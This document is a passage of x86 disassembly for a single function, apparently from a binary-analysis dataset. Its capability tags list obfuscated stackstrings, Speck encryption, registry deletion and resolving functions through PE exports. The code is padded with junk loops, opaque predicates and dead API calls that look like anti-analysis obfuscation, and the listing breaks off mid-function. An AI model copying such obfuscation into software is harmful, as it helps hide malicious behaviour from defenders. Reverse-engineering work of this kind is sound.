Function at 0x10035a0a
Capabilities:
Accept command line arguments
Authenticate hmac
Check os version
Contain obfuscated stackstrings
Delete registry value
Encrypt data using speck
Parse pe header
Query environment variable
Query or enumerate registry value
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10087481
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x2244
call fcn.10082f20
push esi
push edi
mov dword [ebp - 0x2c], 1
mov dword [ebp - 0x28c], 1
mov dword [ebp - 0x940], 0x3173
mov dword [ebp - 0x13ec], 0x1000aae0
cmp dword [ebp - 0x940], 0x329a
jle 0x10035b38
and dword [ebp - 0x300], 0
jmp 0x10035a79
mov eax, dword [ebp - 0x300]
inc eax
mov dword [ebp - 0x300], eax
cmp dword [ebp - 0x300], 0x17a
jge 0x10035b38
and dword [ebp - 0x2f8], 0
jmp 0x10035a9f
mov eax, dword [ebp - 0x2f8]
inc eax
mov dword [ebp - 0x2f8], eax
cmp dword [ebp - 0x2f8], 0x52f8
jge 0x10035b33
and dword [ebp - 0x65c], 0
jmp 0x10035ac5
mov eax, dword [ebp - 0x65c]
inc eax
mov dword [ebp - 0x65c], eax
cmp dword [ebp - 0x65c], 0x2f6f
jge 0x10035b2e
mov eax, dword [ebp - 0x2f8]
and eax, dword [ebp - 0x65c]
or eax, dword [ebp - 0x300]
cdq
mov dword [ebp - 0x1420], eax
mov dword [ebp - 0x141c], edx
push dword [ebp - 0x141c]
push dword [ebp - 0x1420]
lea ecx, [ebp - 0x1fec]
call fcn.10010ffe
pop ecx
pop ecx
mov dword [ebp - 0x1328], eax
mov ecx, dword [ebp - 0x1328]
call fcn.1001fbf4
push eax
call fcn.100714f3
pop ecx
lea ecx, [ebp - 0x1fec]
call fcn.1001fbea
jmp 0x10035ab8
jmp 0x10035a92
jmp 0x10035a6c
mov dword [ebp - 0x170], 0
cmp dword [ebp - 0x940], 0x2dfb
jge 0x10035b5a
push dword [ebp - 0x13ec]
call fcn.100714f3
pop ecx
mov dword [ebp - 0x618], 0x2939c010
mov dword [ebp - 0x568], 1
mov dword [ebp - 0x308], 6
mov dword [ebp - 0x1c4], 0
imul eax, dword [ebp - 0x2c], 0xdec9
test eax, eax
jne 0x10035b9c
cmp dword [ebp - 0x2c], 0
jne 0x10035b9c
and dword [ebp - 0x1188], 0
jmp 0x10035ba6
mov dword [ebp - 0x1188], 1
mov eax, dword [ebp - 0x2c]
add eax, dword [ebp - 0x1188]
sub eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x2c]
jg 0x10035bc3
mov dword [ebp - 0x1190], 1
jmp 0x10035bca
and dword [ebp - 0x1190], 0
cmp dword [ebp - 0x1190], 0xa252
jle 0x10035be2
mov dword [ebp - 0x1198], 1
jmp 0x10035be9
and dword [ebp - 0x1198], 0
mov eax, dword [ebp - 0x1198]
mov dword [ebp - 0x28c], eax
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x28c], eax
jge 0x10035c0c
mov dword [ebp - 0x11d8], 1
jmp 0x10035c13
and dword [ebp - 0x11d8], 0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x11d8], eax
jl 0x10035c2a
mov dword [ebp - 0x11e0], 1
jmp 0x10035c31
and dword [ebp - 0x11e0], 0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x11e0], eax
jle 0x10035c48
mov dword [ebp - 0x11e8], 1
jmp 0x10035c4f
and dword [ebp - 0x11e8], 0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x11e8], eax
je 0x10035c66
mov dword [ebp - 0x11f0], 1
jmp 0x10035c6d
and dword [ebp - 0x11f0], 0
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x11f0]
jg 0x10035c84
mov dword [ebp - 0x11f8], 1
jmp 0x10035c8b
and dword [ebp - 0x11f8], 0
mov eax, dword [ebp - 0x2c]
imul eax, dword [ebp - 0x11f8]
cmp eax, dword [ebp - 0x2c]
jne 0x10035caf
cmp dword [ebp - 0x28c], 0
je 0x10035caf
mov dword [ebp - 0x1200], 1
jmp 0x10035cb6
and dword [ebp - 0x1200], 0
mov eax, dword [ebp - 0x1200]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
je 0x10035cda
mov eax, 0x1cb64b69
test eax, eax
je 0x10035cda
mov dword [ebp - 0x1208], 1
jmp 0x10035ce1
and dword [ebp - 0x1208], 0
mov eax, dword [ebp - 0x170]
cmp dword [ebp - 0x1208], eax
jne 0x10035cfb
mov dword [ebp - 0x1210], 1
jmp 0x10035d02
and dword [ebp - 0x1210], 0
mov eax, dword [ebp - 0x170]
imul eax, dword [ebp - 0x1210]
mov dword [ebp - 0x170], eax
mov eax, dword [ebp - 0x170]
mov dword [ebp - 0x618], eax
cmp dword [ebp - 0x618], 0
jae 0x10035d36
mov dword [ebp - 0x1218], 1
jmp 0x10035d3d
and dword [ebp - 0x1218], 0
mov eax, dword [ebp - 0x568]
imul eax, dword [ebp - 0x1218]
cmp eax, 0xdd44
jl 0x10035d5d
mov dword [ebp - 0x1220], 1
jmp 0x10035d64
and dword [ebp - 0x1220], 0
cmp dword [ebp - 0x1220], 0x9531
jg 0x10035d7c
mov dword [ebp - 0x1228], 1
jmp 0x10035d83
and dword [ebp - 0x1228], 0
mov eax, dword [ebp - 0x1228]
mov dword [ebp - 0x568], eax
mov eax, dword [ebp - 0x308]
cmp dword [ebp - 0x2c], eax
jl 0x10035da6
mov dword [ebp - 0x1230], 1
jmp 0x10035dad
and dword [ebp - 0x1230], 0
mov eax, dword [ebp - 0x308]
cmp dword [ebp - 0x1230], eax
jle 0x10035dc7
mov dword [ebp - 0x1290], 1
jmp 0x10035dce
and dword [ebp - 0x1290], 0
cmp dword [ebp - 0x1290], 0xfffffffb
je 0x10035de3
mov dword [ebp - 0x1214], 1
jmp 0x10035dea
and dword [ebp - 0x1214], 0
cmp dword [ebp - 0x1214], 0x13b1067d
je 0x10035e02
mov dword [ebp - 0x13f4], 1
jmp 0x10035e09
and dword [ebp - 0x13f4], 0
mov eax, dword [ebp - 0x308]
mov dword [ebp - 0x1be8], eax
mov eax, 0x94964a53
cmp eax, 0xfffffff9
ja 0x10035e31
cmp dword [ebp - 0x170], 0
jne 0x10035e31
and dword [ebp - 0x1014], 0
jmp 0x10035e3b
mov dword [ebp - 0x1014], 1
mov eax, dword [ebp - 0x1014]
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0
je 0x10036007
mov dword [ebp - 0x7b0], 1
mov dword [ebp - 0x7b8], 0x7a0585c2
mov dword [ebp - 0x1404], 0xfffffff9
mov dword [ebp - 0x1130], 0xe4064544
push 6
pop eax
test eax, eax
je 0x10035eb2
mov eax, dword [ebp - 0x7b0]
mov dword [ebp - 0x568], eax
mov eax, dword [ebp - 0x568]
mov ecx, dword [ebp - 0x7b0]
dec ecx
mov dword [ebp - 0x7b0], ecx
test eax, eax
je 0x10035eb2
mov dword [ebp - 0x13fc], 1
jmp 0x10035eb9
and dword [ebp - 0x13fc], 0
mov eax, dword [ebp - 0x1404]
mov dword [ebp - 0x1c4], eax
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x1c4], eax
jl 0x10035edc
mov dword [ebp - 0x838], 1
jmp 0x10035ee3
and dword [ebp - 0x838], 0
mov eax, dword [ebp - 0x308]
sub eax, dword [ebp - 0x838]
je 0x10035f01
xor eax, eax
je 0x10035f01
mov dword [ebp - 0x140c], 1
jmp 0x10035f08
and dword [ebp - 0x140c], 0
mov eax, dword [ebp - 0x7b8]
mov dword [ebp - 0x1d48], eax
mov eax, dword [ebp - 0x7b8]
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x1130], 0
mov eax, dword [ebp - 0x1130]
cmp dword [ebp - 0x170], eax
je 0x10035f44
mov dword [ebp - 0x840], 1
jmp 0x10035f4b
and dword [ebp - 0x840], 0
cmp dword [ebp - 0x840], 0x792d8c20
jl 0x10035f63
mov dword [ebp - 0x1138], 1
jmp 0x10035f6a
and dword [ebp - 0x1138], 0
cmp dword [ebp - 0x1138], 0xbfa2
jl 0x10035f82
mov dword [ebp - 0x848], 1
jmp 0x10035f89
and dword [ebp - 0x848], 0
cmp dword [ebp - 0x848], 0xffffffff
jb 0x10035f9e
mov dword [ebp - 0x1140], 1
jmp 0x10035fa5
and dword [ebp - 0x1140], 0
cmp dword [ebp - 0x1140], 0xb61ea52f
jb 0x10035fbd
mov dword [ebp - 0x850], 1
jmp 0x10035fc4
and dword [ebp - 0x850], 0
mov eax, dword [ebp - 0x850]
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 0x1b4adc7c
jle 0x10035fe8
mov dword [ebp - 0x1414], 1
jmp 0x10035fef
and dword [ebp - 0x1414], 0
mov eax, dword [ebp - 0x618]
mov dword [ebp - 0x7b8], eax
mov dword [ebp - 0x618], 0xfffffffb
jmp 0x1003607d
mov dword [ebp - 0x310], 1
mov dword [ebp - 0x1708], 0xd6ffbba6
mov eax, dword [ebp - 0x310]
dec eax
mov dword [ebp - 0x310], eax
mov eax, dword [ebp - 0x1c4]
cmp dword [ebp - 0x310], eax
jl 0x10036042
mov dword [ebp - 0x1148], 1
jmp 0x10036049
and dword [ebp - 0x1148], 0
mov eax, dword [ebp - 0x1c4]
cmp eax, dword [ebp - 0x1148]
jne 0x10036063
mov dword [ebp - 0x858], 1
jmp 0x1003606a
and dword [ebp - 0x858], 0
mov eax, dword [ebp - 0x310]
imul eax, dword [ebp - 0x858]
mov dword [ebp - 0x1708], eax
cmp dword [ebp + 0x10], 0
jbe 0x1003609f
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x1003609f
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.1002f08c
pop ecx
pop ecx
jmp 0x10044b10
mov dword [ebp - 0x1ba4], 0x49fe387
mov dword [ebp - 0x1e08], 7
mov dword [ebp - 0x1bac], 0
mov dword [ebp - 0x1d58], 0x8114768c
mov dword [ebp - 0x1bb4], 0xffffffff
mov dword [ebp - 0x1e60], 1
mov dword [ebp - 0x1150], 0xc34eea2a
mov dword [ebp - 0x1bbc], 0xfffffff9
mov dword [ebp - 0x1d68], 0xee21afa9
mov dword [ebp - 0x1bc4], 0
push 3
lea ecx, [ebp - 0x1d24]
call fcn.1001ff2e
and dword [ebp - 4], 0
mov dword [ebp - 0x1e10], 0x1008b5cc
mov dword [ebp - 0x860], 0x548a
mov dword [ebp - 0x570], 0
jmp 0x10036141
mov eax, dword [ebp - 0x570]
inc eax
mov dword [ebp - 0x570], eax
cmp dword [ebp - 0x570], 3
jge 0x10036163
push dword [ebp - 0x570]
lea ecx, [ebp - 0x1d24]
call fcn.1001ffcc
mov dword [eax], 5
jmp 0x10036134
mov eax, dword [ebp - 0x1150]
inc eax
mov dword [ebp - 0x1150], eax
mov eax, dword [ebp - 0x860]
dec eax
mov dword [ebp - 0x860], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1d24]
call fcn.1001ffb0
mov dword [ebp - 0x1e28], 0x61928c17
mov dword [ebp - 0x1e24], 0x61928c17
mov dword [ebp - 0x1e20], 0x61928c17
mov dword [ebp - 0x1e1c], 0x61928c17
mov dword [ebp - 0x318], 0
jmp 0x100361cd
mov eax, dword [ebp - 0x318]
inc eax
mov dword [ebp - 0x318], eax
cmp dword [ebp - 0x318], 2
jge 0x100361e9
mov eax, dword [ebp - 0x318]
mov dword [ebp + eax*4 - 0x808], 0xfffffff8
jmp 0x100361c0
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x808], 3
jmp 0x10036217
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x808]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x808], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x808], 0
jl 0x10036273
mov dword [ebp - 0x670], 1
mov dword [ebp - 0x670], 0
jmp 0x1003624a
mov eax, dword [ebp - 0x670]
inc eax
mov dword [ebp - 0x670], eax
cmp dword [ebp - 0x670], 3
jg 0x10036271
mov byte [ebp - 0x1b4], 0
movzx eax, byte [ebp - 0x1b4]
test eax, eax
je 0x1003626f
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x1003623d
jmp 0x100361fc
push 4
pop eax
shl eax, 0
push 4
pop ecx
shl ecx, 0
mov eax, dword [ebp + eax - 0x808]
mov dword [ebp + ecx - 0x808], eax
cmp dword [ebp + 0x10], 0
jne 0x1003d8e3
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
call fcn.10023839
mov dword [ebp - 0x44c], eax
mov dword [ebp - 0x1710], 0xe3edfa83
mov dword [ebp - 0x320], 0
jmp 0x100362cb
mov eax, dword [ebp - 0x320]
inc eax
mov dword [ebp - 0x320], eax
cmp dword [ebp - 0x320], 2
jge 0x100362e7
mov eax, dword [ebp - 0x320]
mov dword [ebp + eax*4 - 0x810], 0xfffffffb
jmp 0x100362be
push 4
pop eax
shl eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x810]
cmp dword [ebp + eax - 0x810], ecx
je 0x1003630f
mov dword [ebp - 0x868], 1
jmp 0x10036316
and dword [ebp - 0x868], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x810]
mov dword [ebp - 0x1bcc], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x810], 0x6ba4
jge 0x10036348
mov dword [ebp - 0x1158], 1
jmp 0x1003634f
and dword [ebp - 0x1158], 0
cmp dword [ebp - 0x1158], 0xf737a9a9
je 0x10036367
mov dword [ebp - 0x1160], 1
jmp 0x1003636e
and dword [ebp - 0x1160], 0
mov eax, dword [ebp - 0x868]
cmp eax, dword [ebp - 0x1160]
jg 0x10036388
mov dword [ebp - 0x870], 1
jmp 0x1003638f
and dword [ebp - 0x870], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov edx, dword [ebp - 0x870]
sub edx, dword [ebp + ecx - 0x810]
cmp dword [ebp + eax - 0x810], edx
jl 0x100363bd
mov dword [ebp - 0x1168], 1
jmp 0x100363c4
and dword [ebp - 0x1168], 0
mov eax, dword [ebp - 0x1168]
mov dword [ebp - 0x1710], eax
mov byte [ebp - 0x15c], 0
movzx eax, byte [ebp - 0x15c]
test eax, eax
je 0x100363ec
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push 2
lea ecx, [ebp - 0x18dc]
call fcn.1001ff2e
mov dword [ebp - 4], 1
mov dword [ebp - 0x29c], 0x3638ecf5
mov dword [ebp - 0x578], 0
jmp 0x10036423
mov eax, dword [ebp - 0x578]
inc eax
mov dword [ebp - 0x578], eax
cmp dword [ebp - 0x578], 2
jge 0x10036445
push dword [ebp - 0x578]
lea ecx, [ebp - 0x18dc]
call fcn.1001ffcc
mov dword [eax], 0x42eb90da
jmp 0x10036416
mov dword [ebp - 0x29c], 0
jmp 0x1003645e
mov eax, dword [ebp - 0x29c]
inc eax
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 1
jg 0x100364bf
mov dword [ebp - 0x294], 0xfffffffa
mov dword [ebp - 0x294], 0
jmp 0x1003648a
mov eax, dword [ebp - 0x294]
inc eax
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 1
jg 0x100364bd
push dword [ebp - 0x294]
lea ecx, [ebp - 0x18dc]
call fcn.1001ffcc
mov esi, eax
push dword [ebp - 0x29c]
lea ecx, [ebp - 0x18dc]
call fcn.1001ffcc
mov ecx, dword [esi]
mov dword [eax], ecx
jmp 0x1003647d
jmp 0x10036451
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18dc]
call fcn.1001ffb0
push 3
lea ecx, [ebp - 0x6b4]
call fcn.1001ff2e
mov dword [ebp - 4], 2
mov dword [ebp - 0x1178], 0xfffffffe
mov dword [ebp - 0x1750], 0xc0549ec7
mov dword [ebp - 0x1d78], 0xffffffff
mov dword [ebp - 0x1bd4], 0x193208af
mov dword [ebp - 0x1e50], 0x7bc6c895
mov dword [ebp - 0x1bdc], 0xba5616d2
mov dword [ebp - 0x1d88], 0xd6c34f1d
mov dword [ebp - 0x1be4], 0x25004
mov dword [ebp - 0x1758], 0xbff1eb7e
mov dword [ebp - 0x1e18], 0x9c5c935c
mov dword [ebp - 0x1748], 0
mov dword [ebp - 0x1bec], 0x55be9843
mov dword [ebp - 0x580], 0xfffffffc
mov dword [ebp - 0x878], 0x5dd5
mov dword [ebp - 0x1720], 0x1000ab08
cmp dword [ebp - 0x878], 0x5e28
jle 0x10036628
and dword [ebp - 0x328], 0
jmp 0x1003659e
mov eax, dword [ebp - 0x328]
inc eax
mov dword [ebp - 0x328], eax
cmp dword [ebp - 0x328], 0x375f
jge 0x10036628
and dword [ebp - 0x620], 0
jmp 0x100365c0
mov eax, dword [ebp - 0x620]
inc eax
mov dword [ebp - 0x620], eax
cmp dword [ebp - 0x620], 0xea3
jge 0x10036623
mov eax, dword [ebp - 0x328]
sub eax, dword [ebp - 0x620]
cdq
mov dword [ebp - 0x142c], eax
mov dword [ebp - 0x1428], edx
push dword [ebp - 0x1428]
push dword [ebp - 0x142c]
lea ecx, [ebp - 0x213c]
call fcn.10010ffe
pop ecx
pop ecx
mov dword [ebp - 0x1718], eax
mov ecx, dword [ebp - 0x1718]
call fcn.1001fbf4
push eax
call fcn.100714f3
pop ecx
lea ecx, [ebp - 0x213c]
call fcn.1001fbea
jmp 0x100365b3
jmp 0x10036591
cmp dword [ebp - 0x878], 0x5b13
jge 0x10036640
push dword [ebp - 0x1720]
call fcn.100714f3
pop ecx
mov dword [ebp - 0xb0], 0
jmp 0x10036659
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 3
jge 0x10036678
push dword [ebp - 0xb0]
lea ecx, [ebp - 0x6b4]
call fcn.1001ffcc
or dword [eax], 0xffffffff
jmp 0x1003664c
mov dword [ebp - 0xb0], 0
jmp 0x10036691
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 3
jge 0x100366ad
mov eax, dword [ebp - 0xb0]
mov dword [ebp + eax*4 - 0x1ec4], 0x18302cca
jmp 0x10036684
push 0
lea ecx, [ebp - 0x6b4]
call fcn.1001ffcc
push 0
lea ecx, [ebp - 0x6b4]
call fcn.1001ffcc
cmp dword [eax], 0
jne 0x10036791
push 0
lea ecx, [ebp - 0x6b4]
call fcn.1001ffcc
push 0
lea ecx, [ebp - 0x6b4]
call fcn.1001ffcc
mov esi, eax
push 0
lea ecx, [ebp - 0x6b4]
call fcn.1001ffcc
mov ecx, dword [esi]
sub ecx, dword [eax]
cmp ecx, 0xfffffff7
jl 0x1003670e
mov dword [ebp - 0x1170], 1
jmp 0x10036715
and dword [ebp - 0x1170], 0
push 0
lea ecx, [ebp - 0x6b4]
call fcn.1001ffcc
mov ecx, dword [ebp - 0x1170]
imul ecx, dword [eax]
cmp ecx, 0x2b44
je 0x1003673f
mov dword [ebp - 0x880], 1
jmp 0x10036746
and dword [ebp - 0x880], 0
mov esi, dword [ebp - 0x880]
neg esi
push 2
lea ecx, [ebp - 0x6b4]
call fcn.1001ffcc
cmp esi, dword [eax]
jge 0x1003676b
mov dword [ebp - 0x1728], 1
jmp 0x10036772
and dword [ebp - 0x1728], 0
push 0
lea ecx, [ebp - 0x6b4]
call fcn.1001ffcc
cmp dword [ebp - 0x1178], 0
jne 0x10036791
and dword [ebp - 0x1730], 0
jmp 0x1003679b
mov dword [ebp - 0x1730], 1
push 0
lea ecx, [ebp - 0x6b4]
call fcn.1001ffcc
push 0
lea ecx, [ebp - 0x6b4]
call fcn.1001ffcc
cmp dword [ebp - 0x1178], 0x93f9
jne 0x100368f6
mov dword [ebp - 0x1d98], 0xfffffff8
mov dword [ebp - 0x1bf4], 0
mov dword [ebp - 0x1dbc], 0x68906353
mov dword [ebp - 0x1bfc], 1
push 1
lea ecx, [ebp - 0x1d34]
call fcn.1001ff2e
mov byte [ebp - 4], 3
mov dword [ebp - 0x1da8], 0x1f283019
mov dword [ebp - 0x1b8], 0xab1b
mov dword [ebp - 0x1738], 0
mov dword [ebp - 0x330], 0
jmp 0x10036835
mov eax, dword [ebp - 0x330]
inc eax
mov dword [ebp - 0x330], eax
cmp dword [ebp - 0x330], 1
jge 0x10036857
push dword [ebp - 0x330]
lea ecx, [ebp - 0x1d34]
call fcn.1001ffcc
mov dword [eax], 0xeaa3e8f0
jmp 0x10036828
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
mov dword [ebp - 0x580], 0
jmp 0x1003687d
mov eax, dword [ebp - 0x580]
inc eax
mov dword [ebp - 0x580], eax
cmp dword [ebp - 0x580], 2
jg 0x100368e2
mov dword [ebp - 0x1740], 0x6715623a
mov dword [ebp - 0x1b8], 0
jmp 0x100368a9
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 2
jg 0x100368c0
mov eax, dword [ebp - 0x1738]
mov dword [ebp - 0x1740], eax
jmp 0x1003689c
mov byte [ebp - 0x199], 0
movzx eax, byte [ebp - 0x199]
test eax, eax
je 0x100368e0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_AppendMenuA]
jmp 0x10036870
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x1d34]
call fcn.1001ffb0
jmp 0x10036a7a
mov dword [ebp - 0x264], 9
mov dword [ebp - 0x1180], 6
mov dword [ebp - 0x894], 0xffffffff
mov esi, dword [ebp - 0x264]
push 2
lea ecx, [ebp - 0x6b4]
call fcn.1001ffcc
imul esi, dword [eax]
test esi, esi
jne 0x10036935
cmp dword [ebp - 0x264], 0
mov eax, dword [ebp - 0x264]
mov dword [ebp - 0x1180], eax
mov eax, dword [ebp - 0x264]
cmp dword [ebp - 0x1180], eax
jge 0x1003695b
mov dword [ebp - 0x88c], 1
jmp 0x10036962
and dword [ebp - 0x88c], 0
mov eax, dword [ebp - 0x1748]
add eax, dword [ebp - 0x88c]
jne 0x10036980
push 0xfffffffffffffffb
pop eax
test eax, eax
jne 0x10036980
and dword [ebp - 0xd94], 0
jmp 0x1003698a
mov dword [ebp - 0xd94], 1
mov eax, dword [ebp - 0xd94]
mov dword [ebp - 0x894], eax
mov eax, dword [ebp - 0x894]
mov dword [ebp - 0x1c04], eax
mov eax, dword [ebp - 0x264]
mov dword [ebp - 0x1dc4], eax
cmp dword [ebp - 0x1750], 8
jne 0x100369c3
mov dword [ebp - 0x11fc], 1
jmp 0x100369ca
and dword [ebp - 0x11fc], 0
cmp dword [ebp - 0x11fc], 0x6c4949f7
je 0x100369ed
xor eax, eax
inc eax
jne 0x100369ed
mov eax, 0xfffc
test eax, eax
jne 0x100369ed
and dword [ebp - 0x89c], 0
jmp 0x100369f7
mov dword [ebp - 0x89c], 1
xor eax, eax
inc eax
sub eax, dword [ebp - 0x89c]
cmp eax, 0xfffffff6
jbe 0x10036a11
mov dword [ebp - 0xd9c], 1
jmp 0x10036a18
and dword [ebp - 0xd9c], 0
mov eax, dword [ebp - 0xd9c]
add eax, 0x2848aa25
cmp eax, dword [ebp - 0x1758]
jg 0x10036a37
mov dword [ebp - 0x8a4], 1
jmp 0x10036a3e
and dword [ebp - 0x8a4], 0
push 2
lea ecx, [ebp - 0x6b4]
call fcn.1001ffcc
mov eax, dword [eax]
cmp eax, dword [ebp - 0x8a4]
je 0x10036a61
mov dword [ebp - 0x101c], 1
jmp 0x10036a68
and dword [ebp - 0x101c], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x101c]
mov dword [ebp + eax - 0x1ec4], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x6b4]
call fcn.1001ffb0
cmp dword [0x10091014], 0
jne 0x1003d6d0
mov dword [ebp - 0x8ac], 0x761a
mov dword [ebp - 0x1768], 0x1000ab50
cmp dword [ebp - 0x8ac], 0x76af
jle 0x10036b9b
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_OffsetRect]
and dword [ebp - 0x340], 0
jmp 0x10036adc
mov eax, dword [ebp - 0x340]
inc eax
mov dword [ebp - 0x340], eax
cmp dword [ebp - 0x340], 0x2bf0
jge 0x10036b9b
and dword [ebp - 0x338], 0
jmp 0x10036b02
mov eax, dword [ebp - 0x338]
inc eax
mov dword [ebp - 0x338], eax
cmp dword [ebp - 0x338], 0x4f0
jge 0x10036b96
and dword [ebp - 0x698], 0
jmp 0x10036b28
mov eax, dword [ebp - 0x698]
inc eax
mov dword [ebp - 0x698], eax
cmp dword [ebp - 0x698], 0x4f8
jge 0x10036b91
mov eax, dword [ebp - 0x338]
add eax, dword [ebp - 0x698]
xor eax, dword [ebp - 0x340]
cdq
mov dword [ebp - 0x1438], eax
mov dword [ebp - 0x1434], edx
push dword [ebp - 0x1434]
push dword [ebp - 0x1438]
lea ecx, [ebp - 0x201c]
call fcn.10010ffe
pop ecx
pop ecx
mov dword [ebp - 0x1760], eax
mov ecx, dword [ebp - 0x1760]
call fcn.1001fbf4
push eax
call fcn.100714f3
pop ecx
lea ecx, [ebp - 0x201c]
call fcn.1001fbea
jmp 0x10036b1b
jmp 0x10036af5
jmp 0x10036acf
push 3
lea ecx, [ebp - 0x190c]
call fcn.1001ff2e
mov dword [ebp - 4], 4
cmp dword [ebp - 0x8ac], 0x72cf
jge 0x10036bc7
push dword [ebp - 0x1768]
call fcn.100714f3
pop ecx
mov dword [ebp - 0x224], 0xfffffff7
mov dword [ebp - 0xe0], 0
jmp 0x10036bea
mov eax, dword [ebp - 0xe0]
inc eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 3
jge 0x10036c0c
push dword [ebp - 0xe0]
lea ecx, [ebp - 0x190c]
call fcn.1001ffcc
mov dword [eax], 0xc93b
jmp 0x10036bdd
mov dword [ebp - 0xe0], 0
jmp 0x10036c25
mov eax, dword [ebp - 0xe0]
inc eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 2
jge 0x10036c41
mov eax, dword [ebp - 0xe0]
mov dword [ebp + eax*4 - 0x1c90], 0xfffffff6
jmp 0x10036c18
mov dword [ebp - 0x224], 0
jmp 0x10036c5a
mov eax, dword [ebp - 0x224]
inc eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 2
jg 0x10036f30
mov dword [ebp - 0x118], 1
mov dword [ebp - 0x8b4], 1
mov dword [ebp - 0x1780], 0xfffffff8
mov byte [ebp - 0x15e], 0
movzx eax, byte [ebp - 0x15e]
test eax, eax
je 0x10036d8f
mov dword [ebp - 0xda4], 0x1353
mov dword [ebp - 0x1770], 0x1000ab68
cmp dword [ebp - 0xda4], 0x16be
jle 0x10036d67
and dword [ebp - 0x588], 0
jmp 0x10036cd5
mov eax, dword [ebp - 0x588]
inc eax
mov dword [ebp - 0x588], eax
cmp dword [ebp - 0x588], 0x4c05
jge 0x10036d67
and dword [ebp - 0x348], 0
jmp 0x10036cfb
mov eax, dword [ebp - 0x348]
inc eax
mov dword [ebp - 0x348], eax
cmp dword [ebp - 0x348], 0x682f
jge 0x10036d62
and dword [ebp - 0x628], 0
jmp 0x10036d1d
mov eax, dword [ebp - 0x628]
inc eax
mov dword [ebp - 0x628], eax
cmp dword [ebp - 0x628], 0x66df
jge 0x10036d60
mov eax, dword [ebp - 0x588]
and eax, dword [ebp - 0x348]
xor eax, dword [ebp - 0x628]
cdq
mov dword [ebp - 0x1444], eax
mov dword [ebp - 0x1440], edx
push dword [ebp - 0x1440]
push dword [ebp - 0x1444]
mov ecx, 0x1008bbb8
call fcn.1001fc14
jmp 0x10036d10
jmp 0x10036cee
jmp 0x10036cc8
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MulDiv]
cmp dword [ebp - 0xda4], 0x1083
jge 0x10036d8f
mov edx, dword [ebp - 0x1770]
mov ecx, 0x1008bbb8
call fcn.100228da
mov dword [ebp - 0x118], 2
jmp 0x10036da8
mov eax, dword [ebp - 0x118]
dec eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0
jl 0x10036f2b
mov dword [ebp - 0x178], 0x3fbb4ebb
mov dword [ebp - 0x178], 0
jmp 0x10036dd8
mov eax, dword [ebp - 0x178]
inc eax
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 2
jg 0x10036f06
mov byte [ebp - 0x181], 0
movzx eax, byte [ebp - 0x181]
test eax, eax
je 0x10036e01
push 0
push 0
call dword [sym.imp.GDI32.dll_SetTextColor]
push dword [ebp - 0x118]
lea ecx, [ebp - 0x190c]
call fcn.1001ffcc
mov ecx, dword [ebp - 0x118]
cmp dword [eax], ecx
jl 0x10036e28
mov dword [ebp - 0x115c], 1
jmp 0x10036e2f
and dword [ebp - 0x115c], 0
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0x8b4], eax
mov eax, dword [ebp - 0x8b4]
cmp dword [ebp - 0x115c], eax
jle 0x10036ec3
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1c90]
neg eax
add eax, dword [ebp - 0x178]
cmp eax, 5
jge 0x10036e6f
mov dword [ebp - 0x8bc], 1
jmp 0x10036e76
and dword [ebp - 0x8bc], 0
cmp dword [ebp - 0x8bc], 0xfff9
jbe 0x10036e8e
mov dword [ebp - 0x1778], 1
jmp 0x10036e95
and dword [ebp - 0x1778], 0
mov eax, dword [ebp - 0x224]
mov dword [ebp - 0x1c0c], eax
push dword [ebp - 0x118]
